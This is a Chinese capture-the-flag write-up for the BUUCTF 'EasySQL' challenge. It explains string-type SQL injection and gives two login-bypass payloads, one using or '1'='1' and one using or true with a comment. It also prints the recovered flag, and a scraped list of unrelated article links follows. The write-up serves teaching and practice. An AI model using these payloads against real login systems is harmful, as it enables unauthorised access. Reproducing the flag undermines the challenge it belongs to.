BUUCTF[极客大挑战 2019]EasySQL 1题解

article/2025/7/3 18:54:33

[极客大挑战 2019]EasySQL题解

  • 分析
  • 解题过程
    • 漏洞原理分析
    • 明确注入点:
    • 尝试万能密码法
      • 法一
      • 法二
  • 总结

分析

从题目分析,这道题应该与SQL注入有关,启动靶机之后,访问url是一个登录界面,随便输入用户名密码之后,发现用的还是[GET]请求👍。那基本可以确定本题一定与SQL注入有关。
登录界面
GET型

  • SQL注入的漏洞是基于数据库命令的底层逻辑,在互联网初期,没有人对SQL注入进行预防,这就导致很多历史遗留问题。
    迄今为止还是WEB中十大常见漏洞之一

解题过程

漏洞原理分析

对于上面的登录界面,后端验证用户名和密码是否匹配的数据库的查询语句可能是下面这样的格式:

select * from table_name where username=变量1 and password=变量2; 

其中的变量1是我们在用户名中输入的字符,变量2是我们在password中输入的字符。SQL注入出现的原理是SQL语句对变量和命令的界定不够清晰,我们可以构造合适的输入变量改变整个SQL查找语句的功能。

明确注入点:

SQL注入的类型主要分为数字型字符型,分类标准就是变量的数据类型:
对于数字型

select * from table_name where username=变量1 and password=变量2; 

我们构造输入

1 and 1=1 #回显正常
1 and 1=2 #回显异常

而对于字符型,关键在于试着找出变量是用什么符号闭合的,常见的符号有'单引号'“双引号”()[]等。

select * from table_name where username='变量1' and password='变量2'; 
select * from table_name where username="变量1" and password="变量2"; 

对于这道题我们构造输入

1'

直接报错,这说明我们输入的'与前面的某个引号闭合,导致最后多出来一个单独的‘,详细情况如下:

select * from table_name where username='1'' and password='变量2'; 

这样我们确定本题有注入点,并确定注入类型是字符型。

尝试万能密码法

这好像是CTF中独有的技巧因为一般的渗透都会直接入侵后端(谁和你过家家😅)

法一

我们通过or的逻辑结构,构造前端的payload,以跳过判断逻辑:

?usename=1' or '1'='1&password=1' or '1'='1

后端代码:

select * from table_name where username='1' or '1'='1' and password='1' or '1'='1'; 

对与门(and)和或门(or)有一定了解的读者很容易理解上面的代码,where后面的语句一定是真(1),这样就跳过了SQL语句对用户名和密码的判断。
最后的结果是:
flag
flag{c245efae-9088-4dec-8c2e-5c34c73392e9}

法二

上面的方法对于hacker来说还是太讲理了,不够实用,我们直接构造payload:

?username=1' or true #&password=1
select * from table_name where username='1' or true #' and password='1'; 

这个方法直接使用#注释掉了后面的语句,同样可以获得flag。

总结

这是一道初级的SQL注入题目,与渗透测试的实际环境有出入,主要的考察点是SQL类型判断以及构造payload。


http://www.hkcw.cn/article/RnpaIjpkFe.shtml

相关文章

8088单板机C语言项目计划表

Prj1 原来第一版8088单板机C语言实现版 用Nmake 和 Makefile编译方式实现的 略显复杂 Prj2 8088单板机C语言实现LED灯闪烁控制 Prj3 8088单板机C语言串口实现“Hellow World!” Prj4 8088单板机C语言串口实现格式化sprintf(&#x…

【电赛培训课程】测量与信号类赛题知识点讲解与赛题解析

一、三极管基础知识 1.基本运行规则 ICE βIBEUBE 0.7V 2.什么时候选择使用三极管而不是运算放大器 不需要精确的放大倍数(交流放大)题目指定 3.优点 不容易产生自激振荡,在相同的频率下更不容易失真便宜量大管够 二、三极管放大电路…

学到新的日志方法mp

使用mp技术的时候可以在类上加上注解Slf4j 就可以使用日志 不需要在定义变量log,注意日志只能在方法内使用,不能在方法外进行使用

Linux入门(十三)动态监控系统监控网络状态

top与ps 命令很相似,它们都是用来显示正在执行的进程,top与ps大的区别是top在执行一段时间可以更新正在运行的进程。 #-d 更新秒数 如果不写-d 那默认是3秒更新 # -i 隐藏不活跃进程 top -d 5交互操作 P 按cpu使用大小排序,默认此项 M 按内存…

SolidWorks建模(U盘)- 多实体建模拆图案例

这个U盘模型并不是一个多装配体,它是一个多实体零件,它是在零件模式下创建的这些多实体的零部件。按右键解除爆炸就可以装配到一起,再按右键爆炸,就能按照之前移动的位置进行炸开 爆炸视图直接展示 模型案例和素材或取&#xff08…

【C++高级主题】转换与多个基类

目录 一、多重继承的虚函数表结构:每个基类一个虚表 1.1 单继承与多重继承的虚表差异 1.2 代码示例:多重继承的虚函数覆盖 1.3 虚表结构示意图 二、指针与引用的类型转换:地址调整的底层逻辑 2.1 派生类指针转基类指针的地址偏移 2.2 …

论文写作核心要点

不要只读论文里的motivation和method 论文里的图表和统计特征 在论文里找到具有统计意义的东西,那么在语料里也肯定遵循这样的规律,我们就能用机器学习的方法, 我们再用不同方法解决,哪种方法好,就用哪种 实验分析 …

Hadoop 大数据启蒙:深入解析分布式基石 HDFS

Hadoop 大数据启蒙:深入解析分布式基石 HDFS 分布式存储的本质:用廉价机器集群解决海量数据的存储与容错问题 一、为什么需要 HDFS? 当数据规模突破单机极限(如 PB 级),传统存储面临核心瓶颈: …

ShenNiusModularity项目源码学习(33:ShenNius.Admin.Mvc项目分析-18)

文章管理页面用于搜索、新建、维护及删除CMS管理模块的文章信息,包括栏目名称、文章标题、作者等数据。文章管理页面的后台控制器类ArticleController位于ShenNius.Admin.Mvc项目的Areas\Cms\Controllers内,页面文件位于同项目的Areas\Cms\Views\Article…

模型训练的“隐形杀手”——过拟合!全面解析与实用应对方案

在机器学习和深度学习的实践中,“过拟合”(Overfitting)是一个我们经常会遇到且需要重点关注的问题。它直接关系到模型的泛化能力和实际应用效果。本文将带你深入浅出地理解什么是过拟合,分析其在大模型时代的特点、产生原因&…

新版智慧社区(小区)智能化弱电系统解决方案

该方案聚焦新版智慧社区智能化弱电系统建设,以物联网、云计算、AI 人脸识别等技术为支撑,构建涵盖智能可视化对讲、智慧门禁、智能梯控、智慧停车、视频监控等核心系统的社区智能化体系,并通过智慧社区集成平台实现设备管理、数据统计、预警联动等功能。方案旨在解决传统社区…

【C++高级主题】多重继承

目录 一、多重继承的定义与语法 1.1 基本语法 1.2 多重继承应用场景 二、状态继承:派生类如何继承多个基类的状态 2.1 内存布局:每个基类都是独立的子对象 2.2 代码验证:访问基类成员 三、构造函数与析构函数的顺序 3.1 构造函数的调…

【Spring底层分析】Spring AOP基本使用+万字底层源码阅读分析

一、AOP基本使用 三步: 将业务逻辑组件和切面类都加入到容器中,告诉Spring哪个是切面类(Aspect)在切面类上的每一个通知方法上标注通知注解,告诉Spring何时(Before、After、Around……)何地运…

线性代数复习

一.行列式 1.定义和性质 (1)第一种定义 例如:二阶行列式,其结果是以这里两个向量为邻边的平行四边形的面积(三阶行列式也就是体积) 总结:n阶行列式是由这n个向量组成的,其结果为这…

C#数字图像处理(三)---待完善

文章目录 前言1.图像平移1.1 图像平移定义1.2 图像平移编程实例 2.图像镜像2.1 图像镜像定义2.2 图像镜像编程实例 3.图像缩放3.1 图像缩放定义3.2 灰度插值法3.3 图像缩放编程实例 4.图像旋转4.1 图像旋转定义4.2 图像旋转编程实例 前言 在某种意义上来说,图像的几…

webfuture:提示“Strict-Transport-Security头未设置”漏洞的解决方法

问题描述: Web 服务器对于 HTTP 请求的响应头中缺少 Strict-Transport-Security,这将导致浏览器提供的安全特性失效。 当 Web 服务器的 HTTP 头中包含 Strict-Transport-Security 头时,浏览器将持续使用 HTTPS 来访问 Web 站点,可…

激光雷达的强度像和距离像误差与噪声分析(2)2025.6.2

激光雷达强度像与距离像的误差、噪声及主要影响因素分析 一、距离像误差来源及影响因素 1. 系统误差 激光特性: 波长选择:如905nm/1550nm激光在大气中的散射差异,短波长易受雾霾影响,导致能量衰减。功率不足:远距离…

Artificial Analysis2025年Q1人工智能发展六大趋势总结

2025年第一季度人工智能发展六大趋势总结 ——基于《Artificial Analysis 2025年Q1人工智能报告》 趋势一:AI持续进步,竞争格局白热化 前沿模型竞争加剧:OpenAI凭借“o4-mini(高智能版)”保持领先,但谷歌&…

2024年数维杯国际大学生数学建模挑战赛D题城市弹性与可持续发展能力评价解题全过程论文及程序

2024年数维杯国际大学生数学建模挑战赛 D题 城市弹性与可持续发展能力评价 原题再现: 中国人口老龄化趋势的加剧和2022年首次出现人口负增长,表明未来一段较长时期内我国人口将呈现下降趋势。这一趋势必将影响许多城市的高质量和可持续发展&#xff0c…

第18讲、Odoo接口开发详解:原理、类型与实践

1. 引言 Odoo作为一个功能强大的开源ERP和业务应用套件,其开放性和可扩展性是核心优势之一。接口(API)开发在Odoo生态中扮演着至关重要的角色,它使得Odoo能够与外部系统、第三方应用、移动端以及Web前端进行数据交换和功能集成。…